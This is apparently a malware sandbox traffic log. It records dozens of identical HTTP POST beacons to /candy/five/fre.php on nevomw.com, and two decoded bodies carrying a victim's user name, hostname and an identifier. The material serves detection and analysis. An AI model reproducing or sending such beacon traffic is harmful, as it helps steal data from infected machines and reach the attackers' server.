Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: closeData Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 00 37 00 31 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 0a 00 00 00 01 00 00 00 01 00 30 00 00 00 38 00 46 00 39 00 43 00 34 00 45 00 39 00 43 00 37 00 39 00 41 00 33 00 42 00 35 00 32 00 42 00 33 00 46 00 37 00 33 00 39 00 34 00 33 00 30 00 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: closeData Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 00 37 00 31 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 0a 00 00 00 01 00 00 00 01 00 30 00 00 00 38 00 46 00 39 00 43 00 34 00 45 00 39 00 43 00 37 00 39 00 41 00 33 00 42 00 35 00 32 00 42 00 33 00 46 00 37 00 33 00 39 00 34 00 33 00 30 00 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /candy/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: nevomw.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F1D39DE6Content-Length: 169Connection: close
